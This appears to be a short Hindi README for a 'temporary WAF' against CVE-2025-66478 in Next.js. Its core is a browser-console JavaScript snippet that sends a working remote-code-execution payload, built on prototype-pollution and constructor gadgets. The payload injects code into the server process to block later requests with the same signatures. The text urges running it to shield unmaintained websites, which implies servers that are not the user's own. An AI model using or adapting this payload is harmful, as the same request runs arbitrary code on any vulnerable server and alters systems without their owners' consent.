
आइए वेबसाइटों को तब तक सुरक्षित रखने में मदद करें जब तक उन्हें उचित रूप से पैच नहीं किया जाता!
सरल, अस्थायी WAF सुरक्षा परीक्षक जो एक विशिष्ट पेलोड अनुक्रम को लक्षित करता है।
आइए वेबसाइटों को तब तक सुरक्षित रहने में मदद करें जब तक उन्हें ठीक से पैच नहीं कर दिया जाता!
CVE-2025-66478 से सुरक्षा प्रदान करें, विशिष्ट पेलोड सिग्नेचर वाले अनुरोधों का पता लगाकर उन्हें ब्लॉक करें। इससे वैध ट्रैफ़िक पर कोई असर नहीं पड़ना चाहिए और जो वेबसाइटें ठीक से रखरखाव नहीं करतीं, उन्हें बचाना चाहिए।
और यह रीस्टार्ट के बाद रीसेट हो जाता है, इसलिए यह कोई स्थायी समाधान नहीं है
python main.py
python main.py http://example.com/
हाँ, इसे सीधे ब्राउज़र कंसोल में चलाएँ:
const formData = new FormData();
const actionPayload = {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"throw(async()=>{const t=await import(\"node:http\"),e=t.IncomingMessage.prototype.emit;t.IncomingMessage.prototype.emit=function(t,...n){if(\"data\"===t&&n.length>0){const t=this.headers[\"content-type\"]||\"\";if(t.includes(\"multipart\")||t.includes(\"json\")||t.includes(\"text\")){const t=n[0].toString(\"utf8\");if(t.includes('\"then\":\"$1:__proto__:then\"')||t.includes('\"get\":\"$1:constructor:constructor\"')){const t=this.socket._httpMessage;if(t&&!t.headersSent)try{return t.writeHead(500,{\"Content-Type\":\"text/plain; charset=utf-8\",Connection:\"close\",\"X-Powered-By\":\"Next.js\"}),t.end('0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"cwwYVM2ZWm4vgZG3xVPfk\"}\\n1:E{\"digest\":\"2494231801\"}',(()=>this.destroy())),!1}catch(t){this.destroy()}else this.destroy();return!1}}}return e.apply(this,arguments)}})(),Object.assign(new Error(\"x\"),{digest:\"WAF Installed\"});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
formData.append("0", JSON.stringify(actionPayload));
formData.append("1", '"$@0"');
formData.append("2", "[]");
fetch("/", {
method: "POST",
body: formData,
headers: {
"Next-Action": "x",
}
})
.then(async res => console.log(await res.text()));